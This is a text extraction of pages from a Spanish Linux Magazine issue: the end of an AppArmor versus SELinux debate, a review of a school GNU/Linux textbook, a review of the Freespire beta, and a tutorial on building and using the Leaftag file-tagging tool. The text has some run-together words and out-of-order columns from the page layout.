tica e ingeniería de la universidad de
Oregón. Tiene un doctorado por la uni-
versidad de Ontario Occidental y un
máster en matemáticas por la universi-
dad de Waterloo.
Crispin Cowan
El FAQ de AppArmor dice lo siguiente acercade la seguridad: “Utilizando la GUI de Yast, es unatarea bastante sencilla para un usuario sin expe-riencia desarrollar perfiles de seguridad, mientrasque los usuarios expertos tienen la flexibilidad depoder crear perfiles más precisos”. Pero ¿real-mente desearía tener los datos de su tarjeta decrédito almacenados en un servidor cuya políticade seguridad se haya creado por un usuarionovato utilizando Yast y el modo de “queja” deAppArmor? Al contrario que esto, Red Hat secentra en un uso profesional. Los fabricantes desoftware proporcionan políticas SELinux verifica-das que los clientes configuran dentro del marcode trabajo de parámetros validados.
MásDesde luego que AppArmor es más sencillo deconfigurar porque se centra en un grupo másreducido de problemas de seguridad. El FAQincluso se jacta de que AppArmor no garantiza laconfidencialidad de los datos, al contrario queSELinux, diciendo que esta característica sólo esútil para los servicios secretos. No hay ni unapalabra mencionando los datos de las tarjetas decrédito, los datos de los clientes, los registrosmédicos, las cuentas bancarias, Basel II y la con-formidad con Sabranes-Oxley…
Y la crítica sobre que se tienen que recompilarlas aplicaciones para SELinux no es correcta. ConSELinux, el contexto de la seguridad después deejecutar un proceso nuevo depende de quien eje-cutó el proceso y en que contexto. Para ello nohay necesidad de cambiar la aplicación y los con-textos de seguridad están bien definidos. Sólounos pocos programas requieren modificaciones.
Las restricciones de subprocesos de AppArmorpermiten ejecutar, por ejemplo, los scripts PHPvía mod_php en un contexto diferente del deApache, aunque ambos se ejecutan en el mismoproceso. El FAQ menciona que esto solamente esposible con una versión especial de Apache conmodificaciones de Novell. Dicho de otro modo,AppArmor requiere también que se recompile laaplicación alguna que otra vez.
El diseño de AppArmor tiene enormes desven-tajas: No hay nada que pare el código malévolo
inyectado por un atacante dentro del con-texto de PHP ejecutándose dentro delcontexto de Apache. Después de todo,usan el mismo sector de memoria. Elimpacto del código de un exploit nopuede proporcionar seguridad. Ademáseste escenario permite obtener privile-gios. Ésto es un fallo, no una caracterís-tica.
Etiquetas vs RutasLa situación con el argumento del sis-
tema de ficheros es similar: SELinux utiliza eti-quetas de seguridad, que se almacenan comoatributos extendidos de los objetos del sistema deficheros. Novell ve esto como una extensión quesólo está soportada por algunos sistemas de fiche-ros específicos. De hecho, los atributos extendi-dos son una característica estándar de la que tansólo unos pocos sistemas de ficheros carecen y esun argumento más en contra del favorito deNovell, Reiser FS.
AppArmor utiliza las rutas de los ficheros ensus perfiles, pero no puede garantizar su seguri-dad. Mientras que la etiquetas de seguridad enla-zadas con los inodos de SELinux se refieren a losobjetos reales del sistema de ficheros, las rutas delos nombres de los ficheros de AppArmor utilizanuna capa de abstracción que no necesariamenterefleja el sistema de ficheros real. Los enlaces sim-bólicos son un ejemplo de estos problemas. Unobjeto puede utilizar múltiples rutas de fichero ypor ello ser gobernados por diferentes políticas.La cuestión es si esto puede ser considerado conMAC (Mandatory Access Control).
Una Cuestión deFlexibilidadLa afirmación de que AppArmor es más flexibleque SELinux no está basada en ninguna prueba.Una configuración de AppArmor puede se modi-ficada más rápidamente, porque define a un sis-tema menos seguro. Pero esto no tiene nada quever con la flexibilidad. El diseño de perfiles unidi-mensionales de AppArmor no proporciona elmismo nivel de seguridad y flexibilidad que elcambio de contexto dinámico que SELinux pro-porciona. Un programa se puede ejecutar condiferentes privilegios dependiendo de quien loejecute y del contexto. Esto permite tener perfilesde seguridad extremadamente flexibles.
La arquitectura de SELinux es también ade-cuada para diseños de seguridad que vayan másallá de MAC. Y las implementaciones MLS yMCS proporcionan una prueba amplia de que eldiseño funciona (véase el artículo de SELinux).Ambos almacenan atributos como atributosextendidos del sistema de ficheros y por ellosoporta la integración con la política de SELinux. ?
Es Preferible SELinuxSELinux posee una implementación más con-sistente de MAC como un producto estándaractual. Se deriva de un entendimiento funda-mental de la forma en la que los ataques se lle-van a cabo en los sistemas IT. Es decir, los hac-kers siempre van un paso más allá en lacarrera por descubrir el próximo exploit. Laarquitectura necesita tener esto en cuenta ygarantizar que incluso si un hacker tiene éxito,no vaya a ocasionar problemas serios.
La decisión de SELinux o AppArmor es laelección entre una arquitectura de seguridadfiable por un lado y por otro lado una serie demejoras locales ad hoc. Las demandas deseguridad típicas realizadas por los usuariosde Red Hat Enterprise Linux tan sólo puedenser conseguidas de manera fiable utilizandoun sistema más complejo como SELinux. �
27Número 22W W W . L I N U X - M A G A Z I N E . E S
SELinux • PORTADAAppArmor vs. SELinux • PORTADA
Daniel Riek (Figura 2) ha sido el director
de producción de Red Hat Linux desde
comienzos de 2006. Entró en la
empresa a mediados de 2003. Antes de
pasarse al desarrollo de productos, fue
arquitecto de soluciones y propor-
cionaba servicios de asesoría preventa
a los clientes.
Fundó ID-PRO, un proveedor de servi-
cios de Internet y GNU/Linux, mientras
estudiaba informática en la universidad
de Bonn, Alemanía, haciendo que la
empresa creciera hasta hacerse interna-
cional. En 2001 abandona ID-PRO para
pasarse a la proveedora de servicios de
software francesa Alcove, donde se
convirtió en el responsable de las activi-
dades de esta compañía en Alemanía y
principalmente se encargaba de nego-
ciar con las cuentas claves de IT y ban-
carias. Riek fue miembro del boletín de
la asociación LIVE Linux durante bas-
tantes años y representante de la orga-
nización.
Daniel RiekFigura 2: Daniel Riek: “…
desearía tener los datos
de su tarjeta de crédito
almacenados en un servi-
dor cuya política de
seguridad se haya creado
por un usuario novato
utilizando Yast y el modo
de ‘queja’ de AppAr-
mor?”
[1] AppArmor: http://www.opensuse.org/
AppArmor
[2] Video de AppArmor: ftp://ftp. belnet.
be/pub/mirror/FOSDEM/
FOSDEM2006-apparmor.avi
[3] SELinux: http://www.nsa.gov/selinux/
[4] Politicas de desarrollo de SELinux:
http://selinuxnews.org
[5] Entrevista con Dan Walsh: http://
danwalsh.livejournal.com/424.html
RECURSOS
EVALUACIÓN • Libros
28 Número 22 W W W . L I N U X - M A G A Z I N E . E S
con un especial hincapié en el paquete ofimá-
tico OpenOffice.org, que acapara 6 (largos)
capítulos de un volumen de 14.
Esto no es malo en sí, siendo como es OOo,
el suite ofimático estándar de facto para Linux.
No es malo, digo, si el volumen se titulara
“Introducción a OpenOffice.org” o algo por el
estilo. Pero , no, se llama “Informática GNU/
Linux”. No estoy rompiendo una lanza a favor
de KOffice, Gnumeric y Abiword (aunque se
lo merezcan), estoy rompiendo una lanza a
favor de la enseñanza de la informática orien-
tada a las tareas, en vez de a las aplicaciones.
El orientar la enseñanza de la ofimática a
aplicaciones concretas ha dado lugar a una
generación de usuarios viciados y con una for-
mación tan especializada, que son incapaces
de adaptarse a nuevos entornos, aunque éstos
varíen muy poco de los antiguos. Esto a su vez
conlleva una tiranía de interfaces desfasados,
donde se fosilizan paradigmas anti-intuitivos y
poco usables sólo porque es a lo que el usua-
rio está acostumbrado.
Un enfoque a la tarea del tipo, “utiliza lo
que quieras para ello, pero hazlo”, aunque
hace que la curva de aprendizaje sea más
empinada para el alumno al principio, final-
mente desemboca en usuarios más autóno-
mos, con una base más sólida y más dispues-
tos a asumir cambios. Por supuesto que existe
el riesgo de fosilización de malos hábitos
(también existe en el método orientado a apli-
caciones. De hecho, es la culpable de la pau-
pérrima formación de los usuarios finales
actuales), pero para eso está el profesor: para
aconsejar sobre aplicaciones más aptas para
cada tarea o para corregir errores recurrentes
antes de que se enquisten.
Otra cosa que me disgustó, y no poco, fue la
falta de cualquier referencia a la línea de
comandos. Esto se está convirtiendo en
(mala) costumbre
en este tipo de
libros, y es una
hipocresía: no se
ignora un tema en
cualquier otra asig-
natura porque
puede disgustar al
alumno, o, lo que es
más probable, al
profesor ¡Ignorar la
línea de comandos
es ignorar una buena parte de las herramien-
tas más poderosas de Linux! Comprendo que
para abarcar todo el potencial de los coman-
dos de la shell exigiría (y de hecho, exige)
varios volúmenes, pero si se enseña a un
usuario como si fuera tonto, será un tonto y,
evitar la línea de comandos es subestimar al
alumno.
A corregir en futuras ediciones: los ficheros
de apoyo insertados por los autores están en
formato ODT y, a excepción de GuadaLinex
v3 y LinEx 2006, todas las distros del disco
vienen con OpenOffice 1.1, versión incapaz de
abrir este tipo de fichero. Otro problema
menor es que todas las explicaciones dan por
supuesto que uno tiene instalado Gnome,
pero MAX, por defecto, instala KDE.
Conclusión“Informática GNU/Linux” es una obra muy
a tener en cuenta por cualquier centro edu-
cativo que pretenda formalizar la asigna-
tura para sus alumnos. Incluso creo que
como manual para el auto-aprendizaje
puede ser de gran ayuda para dar los pri-
meros pasos en el uso de GNU/Linux como
sistema de escritorio.
El aspecto estético del volumen es mejo-
rable, pero esto es sólo un defecto anecdó-
tico si se le compara, a mi entender, con el
erróneo enfoque que presupone que “ense-
ñar informática es enseñar aplicaciones”,
aunque bien pensado, tal vez sea injusto
pedir que un libro cambie el planteamiento
de todo un sistema educativo. �
Informática GNU/Linux” (atentos a la titu-
lación canónica del volumen) es un juego
de materiales (libros de texto y actividades,
DVDs, recursos en línea, etc.) que pretende
rellenar el vacío existente en lo que se refiere a
materiales de enseñanza de la asignatura de
informática para primaria y ESO.
El volumen de Francisco Márquez y Juan
Luis Moreno viene etiquetado para ESO, sin
especificar ningún nivel en concreto dentro de
la secundaria. Me confundió un poco que no
fuese más específico, pero imagino que la falta
de definición en los programas educativos no
lo permitirá. A pesar de ello, en la misma
colección sí se encuentran disponibles cuader-
nos de trabajo divididos por curso.
El libro es voluminoso (288 páginas, for-
mato 287 x 225 mm) y abarca todas las distros
educativas, subrayando el hecho de que, a
pesar de los cambios de denominación, las
herramientas son comunes. El gran formato
del tomo permite a los autores presentar la
materia con abundantes capturas, diagramas,
cuadros y textos, sin por ello sobrecargar cada
página. Las explicaciones son claras y conci-
sas, y el temario abordado abarca desde los
conceptos más básicos de la informática
(números binario, periféricos, etc.) hasta el
uso de aplicaciones específicas comunes de
GNU/Linux.
El DVD trae las cinco principales distros uti-
lizadas por las cinco comunidades que han
incorporado GNU/Linux a su sistema educa-
tivo, a saber: LinEx de Extremadura, Guadali-
nex de Andalucía, Molinux de Castilla – La
Mancha, Lliurex de la Comunidad Valenciana
y MAX de la comunidad de Madrid.
Orientado a ProgramasPero, volviendo al libro, a partir del capítulo 6
el enfoque se centra en aplicaciones concretas,
Informática GNU/Linux - ESO
LIBROSCon la introducción de Linux en las aulas se hace imperiosa la produc-
ción de material educativo que dote a los profesores de las herramien-
tas necesarias para desarrollar adecuadamente su labor. La primera
editorial que ha decidido darle forma a una serie de materiales diseña-
dos específicamente para los centros escolares ha sido McGraw Hill.
POR PAUL C. BROWN
Autor: Francisco Márquéz, Juan Luis
Moreno
Idioma: Castellano
Formato: Tapa blanda, Gusanillo, 288
páginas
Editorial: McGraw Hill
ISBN: 84-481-4702-2
Precio: 25,50 euros
Ficha Técnica
Freespire • EVALUACIÓN
29Número 22W W W . L I N U X - M A G A Z I N E . E S
Linspire sorprendió recientemente a la
comunidad linuxera al anunciar una nueva
variante de su distribución bajo el nombre
de Freespire. De acuerdo con las notas de
prensa, Freespire será una distribución
comunitaria que comprenderá sólo software
libre, sin componentes comerciales. Esta tác-
tica recuerda los pasos seguidos por otras
distros como Suse o RedHat, que pusieron el
desarrollo de una parte importante de sus
sistemas en manos de la comunidad FOSS.
Freespire está basada en Debian GNU/
Linux. Linspire ha hecho muchas promesas
acerca de su nueva creación. “Freespire”,
reza la página del proyecto [2], “es suficien-
temente potente para el usuario de Linux
más sofisticado”.
Después de todo, Linspire está compi-
tiendo consigo mismo al producir una distro
libre que recuerda mucho al producto princi-
pal, comercial, de la compañía. Los usuarios
pueden descargar Freespire gratis. Compá-
rese esto con el precio de Linspire: 49,95
dólares para la Standard Edition.
¿Qué puede ofrecer Freespire? ¿Se trata de
Linspire intentando darle un empuje al CNR
Warehouse? Con esto en mente, hemos deci-
dido analizarlo muy detenidamente.
InstalaciónPodemos descargar una imagen de CD de la
beta de Freespire desde el servidor de Frees-
pire en [3], o bien vía BitTorrent. El CD con-
tiene unos 700 megabytes de información. Si
tenemos una conexión de banda ancha, no
deberíamos tener problemas para descar-
gar el archivo y quemarlo en un CD.
El menú CD Start ofrece al usuario un
buen número de opciones. Además de
la opción de instalar la distribución,
podemos lanzar un sistema live, que
puede ser útil para principiantes que
quieran probar antes de dar el salto. El
menú CD Start también nos permite
cambiar el particionado de nuestro
disco duro.
La rutina de instalación da pocas
opciones y guía al usuario por la
configuración del sistema con mano
firme. Tras la pantalla de bienvenida, el
usuario puede elegir la disposición del
teclado y luego optar a dedicar el disco
duro entero a Freespire o lanzar la pul-
cra herramienta de particionado de
disco (véase Figura 1). Desafortunada-
mente, la herramienta mostró cierta ten-
dencia a colgarse en nuestro laborato-
rio, y también colgó al instalador, con lo
que tuvimos que reiniciar y comenzar la
instalación desde cero.
Tras configurar el disco, los usuarios
pueden introducir el nombre de host
para el ordenador, sus propios nombres
y su elección para los nombres de usua-
rio, así como las contraseñas. Pulsamos
Finish y Yes I’m sure en el siguiente cua-
dro de diálogo para iniciar la fase de
copia de archivos de la instalación.
Tras copiar los archivos a disco (dicho
sea de paso, mientras ocurre esto, al
usuario se le muestra un carrusel de
“información” lleno de anuncios del
CNR Warehouse), se nos pregunta por
algunos valores de configuración del
sistema. Podemos aceptar los valores
por defecto en la mayoría de los casos.
Por último, la rutina muestra un cua-
dro resumen con la opción de configu-
rar una cuenta de usuario adicional,
aunque no es obligatorio crear una
Cuando la primera versión de Linspire
[1] llegó finalmente a las estanterías,
esta distro de escritorio había sorte-
ado algunos enormes obstáculos. Además del
hecho de que Microsoft no estaba demasiado
contenta con el nombre original “Lindows”,
los creadores de Linspire tuvieron que admitir
que no iban a ser capaces de alcanzar su obje-
tivo original de recrear el aspecto y el compor-
tamiento de Windows. Pero Linspire sobrevi-
vió este lento comienzo y continúa alcan-
zando éxitos en su esfuerzo de proporcionar
de Linux de una cuota cada vez mayor del
mercado de usuarios finales.
Linspire, que se centra en la facilidad de ins-
talación y la facilidad de uso para los princi-
piantes, proporciona componentes comercia-
les como drivers para las tarjetas gráficas ATI
o Nvidia, así como otro software comercial,
eliminando la necesidad de andar buscando
los codecs de vídeo o audio para poder ver
películas. De hecho, Linspire posee todos los
principales codecs comerciales.
El Click’n’Run Warehouse (CNR) es otra de
las características principales de Linspire. Los
usuarios pueden usar el front-end CNR para
descargar e instalar software. Sin embargo,
tendremos que registrarnos (gratis) antes de
poder usar el CNR. Si decidimos actualizar
nuestro estatus en CNR a “Gold” por unos
50 dólares, se nos facilitará el acceso a soft-
ware adicional.
29W W W . L I N U X - M A G A Z I N E . E S
DOBLE LIBRELinspire ha publicado una nueva versión no comercial de su distro
denominada Freespire. Hemos tomado la beta de Freespire para
ponerla a prueba. POR MARTIN LOSCHWITZ
Componente Versión
Kernel 2.6.16.7
Glibc 2.4
GCC 4.1.1
X.org 7.1
KDE 3.5.3
OpenOffice 2.0.3
Firefox 1.5.0.5
Tabla 1: Freespire Beta 2
Echamos un vistazo a la nueva distribución FreespireEchamos un vistazo a la nueva distribución Freespire
DOBLE LIBRELinspire ha publicado una nueva versión no comercial de su distro
denominada Freespire. Hemos tomado la beta de Freespire para
ponerla a prueba. POR MARTIN LOSCHWITZ
EVALUACIÓN • Freespire
30 Número 22 W W W . L I N U X - M A G A Z I N E . E S
cuenta de usuario sin privilegios además de
la cuenta de administrador. Si no configura-
mos una nueva cuenta, el primer usuario
que se configuró adquiere privilegios de root
automáticamente (aunque sudo añade una
capa de abstracción). Esta configuración
puede ser peligrosa, especialmente cuando
navegamos por Internet, y Freespire merece
una crítica por este enfoque.
Libre o No-LibreTras iniciar sesión con el administrador
gráfico con el tema diseñado para reflejar el
aspecto de Freespire (véase Figura 2), se
pone a nuestra disposición el tipo de sistema
que estábamos esperando, uno muy
parecido al del escritorio de Linspire. La
diferencia más llamativa es el botón de
inicio, que luce el logo azul de Freespire en
lugar del verde de Linspire. Freespire usa la
versión 3.5.3 de KDE.
La distribución tiene el conjunto habitual
de aplicaciones para las tareas diarias: ade-
más de OpenOffice, el más bien espartano
menú de KDE ofrece un Web Browser, que
es un seudónimo de Firefox, el cliente KMail
y el programa de mensajería instantánea
Kopete.
LSongs [4] actúa como sustituto de Ama-
rok. Hablando en general, Freespire tiene la
mayoría de las aplicaciones típicas de Lins-
pire, incluyendo LPhoto [5].
El menú incluye RealPlayer “Gold”, lo que
permite al usuario la posibilidad de iniciar
vídeos albergados en páginas Web de
manera automática. Freespire no tiene pro-
blemas con los formatos de vídeo: los archi-
vos WMV y AVI están soportados, como lo
están los MP3 y WMA. Todos ellos requieren
codecs no libres, lo que confirma nuestras
sospechas de que Freespire tiene una defini-
ción de “libre” un tanto relajada.
Nos comenzamos a preguntar cómo de
seria sería la afirmación de Linspire en su
proclama acerca de desarrollar Freespire
tomando como base sólo componentes
libres. El proyecto defiende la inclusión de
software no-libre bajo la afirmación de que
desea dar al usuario la máxima capacidad
de elegir, y esto incluye codecs, drivers y
aplicaciones propietarias. Dicho lo cual, el
CEO de Linspire, Keniv Carmony ha prome-
tido una variante de Freespire sin un solo
componente propietario para un futuro cer-
cano.
Descargar Software conapt-getEs fácil darse cuenta de que Freespire está
basado en Debian. Componentes como dpkg
y apt-get están completamente soportados.
Linspire anuncia que Freespire soporta la des-
carga sencilla de software basándose en apt-
get. Tenemos que ejecutar apt-get update en
primer lugar para indicarle a apt-get que des-
cargue un nuevo paquete de la lista del servi-
dor de Freespire. Tras completar la descarga,
es realmente fácil instalar software nuevo con
el comando apt-get install package. La infor-
mación se toma su tiempo en cruzar los
cables, a velocidades de 140Kbps, que difícil-
mente hacen sudar a un DSL. No se entiende
por qué Freespire no hace uso de mirrors.
Los paquetes descargados por apt-get no
vienen tal cual de los repositorios de Debian,
sino que han sido especialmente modificados
por Freespire. La distribución tiene una buena
selección de paquetes. Además de los míni-
Figura 1: El instalador de Freespire ofrece al usuario principiante una útil herramienta para
particionar el disco duro.
Figura 2: Login de Freespire Linux.
mos populares de Linux, se incluye a Gnome
y Xfce como escritorios alternativos. Esto teó-
ricamente ofrecería la posibilidad a los usua-
rios de remplazar el escritorio KDE por defecto
con su escritorio favorito. Esta capacidad de
instalar software vía apt-get hace definitiva-
mente a Freespire mucho más flexible que su
equivalente comercial Linspire.
Hablando de DriversLa distribución comercial Linspire instala
automáticamente los drivers propietarios en
los PC’s con tarjetas gráficas Nvidia o ATI, y
habilita la aceleración 3D al mismo tiempo.
Freespire no sigue la misma táctica. En su
lugar, usa los drivers de Xorg, nv y ati.
Esto no significa que los usuarios con
hardware Nvidia o ATI tengan que renun-
ciar. De hecho, podemos ejecutar apt-get en
una consola para descargar fglrx-installer y
los-kernel-extra (para ATI), o
nvidiadriver-source, nvidia-driver-utils, y
los-kernel-extra (para Nvidia). Tras hacerlo,
es muy fácil modificar la configuración de
las X para usar los nuevos drivers, consi-
guiendo así gráficos acelerados para el servi-
dor X. Podemos seguir el mismo método
para instalar drivers de diversas tarjetas
WLAN y de modems. Con algo de esfuerzo,
podemos finalmente añadir soporte para
componentes hardware que Linspire soporta
directamente.
CNR WarehouseJusto después de que iniciemos sesión por
primera vez, probablemente nos daremos
cuenta de la existencia de un icono con una
flecha azul que se mueve en la barra de
KDE. Este icono es el del módulo de actuali-
zación CNR Warehouse, que nos está indi-
cando que el CNR tiene software nuevo para
nosotros.
Si pulsamos el icono no se ejecuta el asis-
tente de actualización como podríamos
suponer. En su lugar, se muestra al usuario
el front-end normal del CNR Warehouse y se
le pide que se loguee. De hecho, será necesa-
rio que nos registremos en CNR (gratuita-
mente) antes de que podamos descargar
alguna actualización.
Tras registrarnos y loguearnos, encontra-
mos otra sorpresa: en nuestras pruebas My
Products en Available Updates no contenía
ni una sola actualización, y el icono con la
flecha azul desapareció cuando regresamos.
Es difícil no sospechar de que el icono par-
padeante esté allí sólo para que la gente se
registre en el CNR.
El CNR ofrece también la posibilidad de
instalar software adicional. Con un solo clic
instalaremos el Adobe Reader en nuestro sis-
tema, por ejemplo (véase la Figura 3). Sin
embargo, el CNR aún parece algo desorga-
nizado. El programa nos ofrece instalar
una versión antigua de Firefox, aunque
este programa ya está instalado en nues-
tro sistema como Web Browser. Y, de
nuevo, la velocidad de descarga del soft-
ware de CNR no es nada convincente.
ConclusionesFreespire Beta 2 nos deja impresiones
encontradas. El sistema presenta una
buena usabilidad, y se proporcionan las
versiones actuales de los principales pro-
gramas. La instalación es sencilla y difícil-
mente va a desconcertar ni a los novatos,
y el escritorio es bastante intuitivo.
Nos queda la pregunta de qué es lo que
realmente está tratando Linspire de con-
seguir con Freespire. Después de todo,
podemos recrear un Linspire con todas
sus características a partir de Freespire, y
el aspecto de los dos sistemas es similar
hasta la confusión. Freespire ni siquiera
se ha deshecho de la mayoría de los pro-
gramas propietarios que incluye Linspire.
En contraste con Debian y Ubuntu, Fre-
espire puede poner de los nervios al usua-
rio con sus constantes anuncios de CNR.
Aparte del icono de CNR y la presencia
por defecto de drivers comerciales y
codecs, nuestro laboratorio no halló
mayores diferencias entre Freespire y
otros derivados de Debian. Es posible ins-
talar estos codecs de vídeo propietarios
en Debian o Ubuntu, y lo mismo puede
aplicarse para los drivers de tarjetas gráfi-
cas y modems.
En conjunto, Freespire carece de claro
argumento de ventas: si has funcionado
con Linspire hasta ahora, no hay ninguna
razón clara para probar Freespire. �
31Número 22W W W . L I N U X - M A G A Z I N E . E S
[1] Linspire: http://www.linspire.com
[2] Proyecto Freespire: http://www.
freespire.org
[3] Descarga de Freespire: http://wiki.
freespire.org/index.php/
Download_Freespire
[4] Lsongs: http://lsongs.com
[5] Lphoto: http://lphoto.com
RECURSOS
Linspire publicó la Release Candidate 1
de Freespire poco después de la redac-
ción de este artículo. Este lanzamiento
no añadía cambios importantes en
comparación con la Beta 2 que hemos
comentado en este artículo. Sin
embargo corregía un buen número de
bugs y mejoraba la estabilidad, en
especial con respecto a CNR.
Freespire RC1
Figura 3: El CNR Warehouse le da al usuario la capacidad de instalar software adicional con
sólo señalar y pulsar. Las funcionalidades especiales están disponibles con un coste extra.
Freespire • EVALUACIÓN
lladores de Leaftag cuando implementaron este
sistema global de etiquetado con metadatos.
Leaftag nos permite asociar etiquetas de meta-
datos a un archivo. La información se mantiene
en una base de datos que soporta búsquedas
basadas en categorías. El líder del proyecto Leaf-
tag es Christian Hammond, que trabaja para
Vmware. Parte del código de Leaftag específico
para Gnome es obra de David Trowbridge.
Minuciosa InstalaciónLeaftag se encuentra en un estado relativamente
inicial de desarrollo, aunque la funcionalidad de
etiquetado funciona bien. La distribución de
Leaftag incluye cuatro componentes: la librería
Libleaftag en C, las Tagutils y los dos paquetes
específicos de Gnome: Leaftag-Python y Leaftag-
Gnome. No existen aún paquetes con binarios
específicos para distribuciones, por lo que debe-
mos estar preparados para experimentar y com-
pilar el programa nosotros mismos. Leaftag no
pide demasiado en cuanto a librerías actuales.
No necesitamos una versión CVS ni nada por el
estilo. Si queremos instalar el soporte de Leaftag
Los sistemas de direc-
torios jerárquicos son muy útiles
para organizar archivos, pero sólo pue-
den ayudarnos hasta cierto punto. Si tenemos
una colección de fotografías digitales, puede que
queramos tener directorios que reflejen las cate-
gorías del contenido, como paisajes, tecnología
o retratos. Los subdirectorios pueden ofrecer
categorías más detalladas, como familia, ami-
gos, trabajo y demás. Pero si tenemos una
enorme y compleja colección, puede que aún
así no seamos capaces de encontrar la imagen
que estábamos buscando.
Las técnicas de búsqueda basadas en meta-
datos proporcionan una mejor solución. Los
usuarios pueden asociar palabras clave con los
archivos para acelerar las búsquedas. Los meta-
datos proporcionan al usuario la capacidad de
crear una estructura de organización que no
descanse en el sistema de archivos.
Un ejemplo de esta solución con metadatos
es la herramienta de administración de imáge-
nes de Gnome F-Spot, que usa un sistema de
categorías [1] basado en etiquetas (véase la
Figura 1). Además de la capacidad de ordenar
las imágenes por la fecha de creación, el pro-
grama ordena también en función de la catego-
ría. Desafortunadamente, estas funcionalidades
de búsqueda sólo funcionan con la herramienta
F-Spot, que ejecuta su propia base de datos.
Por supuesto, sería más práctico si pudiéra-
mos buscar metadatos con cualquier programa.
Esta es la idea que tenían en mente los desarro-
PRÁCTICO • Leaftag
32 Número 22 W W W . L I N U X - M A G A Z I N E . E S
para Gnome, necesitamos
al menos Gnome 2.12 con
los paquetes de desarrollo.
Tras descargar los cuatro
paquetes de [2], el primer
paso es compilar e instalar
Libleaftag, ya que el resto de
paquetes dependen de la
librería. Compilar la
librería es muy
parecido a cual-
quier otro software
de configuración
manual. Comenzamos
ejecutando el script confi-
gure. La librería guarda las eti-
quetas de categoría en una base de
datos Sqlite, por lo que vamos a necesi-
tar los paquetes de desarrollo de la ver-
sión 2 de Sqlite, ya que Sqlite 3 no es compati-
ble con el API.
Si ejecutamos Configure sin especificar nin-
guna opción, y luego make installpara distribuir-
los por el disco, es posible que queramos fijar la
variable de entorno PKG_CONFIG_PATH para el
resto de paquetes a /usr/local/lib/pkgconfig. Si no
hacemos esto, los paquetes no podrán encontrar
el archivo leaftag.pc, que copió el script en esta
ubicación. Leaftag-Python requiere también los
paquetes de desarrollo Python-Gtk. Son
pygtk2-devel en Fedora 4/5, y python-gtk2-dev
para Ubuntu.
La tarea más compleja es resolver las depen-
dencias de Leaftag-Gnome. Este componente
requiere el Deskbar Applet [3], que está disponi-
ble en algunas distribuciones, pero generalmente
no en las últimas versiones. De nuevo, esto signi-
fica descargar las fuentes y seguir el proceso de
compilación, que a su vez requiere el paquete
gnomepython2-applet para Fedora o python-
gnome2-devpara Ubuntu.
Tras instalar el Deskbar Applet, deberíamos
ser capaces de compilar Leaftag-Gnome. Se
necesitan algunos pasos más para integrarlo en
la barra de Gnome. Si no especificamos un pre-
fijo para el Configure, el applet se ubicará en
/usr/local y será invisible al servidor Bonobo.
Creamos metadatos con Leaftag
HOJA EN BLANCO
amienta.
El programa experimental
Leaftag ofrece los medios
para asociar archivos con
categorías de búsquedas y
otros metadatos.
POR OLIVER FROMMEL
que ejecutar el comando Tagutils con las eti-
quetas necesarias. Podemos crear, leer, modifi-
car y borrar las propiedades de la etiqueta con
tagutils tagprop. El propósito de estas propieda-
des de la etiqueta aún están poco claras, pero
propiedades como description, hidden e image
son una buena indicación de lo que esconde
esta funcionalidad. Los programas que fijan eti-
quetas pueden usar las propiedades para mos-
trar las descripciones e imágenes de ciertas
categorías u ocultar etiquetas concretas.
tagutils tagsnos da una lista de etiquetas que
hemos usado. De momento no hay manera de
borrarlas. La combinación tagutils ls tag mues-
tra los archivos y URLs etiquetados con una eti-
queta concreta.
Tras el EscenarioEn segundo plano, los archivos, etiquetas y
asociaciones se administran con la base de
datos Sqlite ($HOME/.tags.db), que contiene
tres tablas (véase Figura 2).
Las claves no son hashes ni nada similar,
sino simples nombres de archivo. Este
método no es precisamente muy robusto, si
cambiamos el nombre de archivo o ruta,
Tagutils perderá el rastro del archivo.
El comando tagutils ls tag no muestra nin-
gún mensaje de error, probablemente para
evitar el desagradable mensaje “not found”
en el front-end con interfaz gráfica. Tras
mover un archivo etiquetado, si lo movemos
de vuelta a su ubicación original, Tagutils lo
encontrará de nuevo, sin que nada de esto
haya tenido efecto alguno en la base de
datos.
Muchos usuarios han sugerido un método
alternativo consistente en usar los atributos
avanzados del sistema de archivos, pero esto
provocaría una serie de problemas. Por un
lado, las etiquetas ya no serían portables. Es
decir, se perderían si movemos archivos a
otro ordenador. Por otro, los atributos avan-
zados son globales al sistema, mientras que
los desarrolladores de Leaftag intentan imple-
mentar etiquetas específicas para el usuario
desde el primer momento.
Otra opción sería mostrar un desacuerdo
en la ruta seguida por Leaftag, y bien modifi-
car todas las utilidades del sistema, o el escri-
torio o las capas VFS del kernel, para permitir
actualizaciones de la base de datos. Este es el
método que ha seguido Apple con los recur-
sos de los archivos en Mac OS X, aunque
Apple no usa un repositorio centralizado y ha
optado en su lugar por un método orientado
a archivo que usa directorios ocultos.
A pesar de los puntos débiles, Leaftag ha
sido acogido con entusiasmo por varios pro-
yectos de Gnome. Su arquitectura actual
implica que los desarrolladores que quieran
usar etiquetas tendrán que añadir el soporte
para su código ellos mismos. David Trow-
bridge ha intentado añadir soporte para Leaf-
tag en Gimmie, una especie de administrador
de información personal para Gnome. Pode-
mos ver el clip de demostración en [4]. Y el
moderno administrador de memos Tomboy
tiene soporte experimental para Leaftag [5].�
Podemos bien teclear la ruta directamente en el
archivo de configuración, /etc/bonobo-activa-
tion/bonoboactivation-config.xml, o bien usar
una aplicación para hacer este trabajo:
bonobo-activation-sysconf U
—add-directory=U
/usr/local/lib/bonobo/servers
Para hacer que el applet sea visible en el menú de
applets, tenemos que eliminar ciertos componen-
tes y dejar que autoarranque:
killall U
bonobo-activation-server
killall gnome-panel
El último componente es un conjunto de herra-
mientas en línea de comando, las Tagutils, que no
deberían causar mayor problema.
Etiquetar en Línea deComandosEl programa que etiqueta archivos con nuestras
propias etiquetas de categorías se llama tagutils.
Este programa soporta cinco comandos que se
añaden a los nombres de los comandos: ls, tag,
tagprop, tags y untag. Para crear una nueva eti-
queta, sólo tenemos que etiquetar uno o más
archivos con ella: tagutils familia imagen.jpg.
En lugar de un archivo local, el usuario puede
especificar URLs y etiquetar de esta manera
recursos no locales.
Para etiquetar un directorio completo, en
lugar de un único archivo, tagutils tag tiene la
opción -r. La combinación tagutils untag tag file
elimina el nombre de la etiqueta.
Por supuesto, podemos asignar más de una
etiqueta a un archivo. Para ello, sólo tenemos
Número 22
Figura 1: F-Spot usa etiquetas para asociar
categorías a fotos. Desafortunadamente, las
etiquetas sólo están disponibles para la
propia herramienta.
Figura 2: Leaftag está basado en la base de datos Sqlite. La información se ubica en $HOME/
.tags.db y contiene tres tablas.
Leaftag • PRÁCTICO
33W W W . L I N U X - M A G A Z I N E . E S
[1] F-Spot: http://f-spot.org
[2] Leaftag: http://www.chipx86.com/wiki/
Leaftag
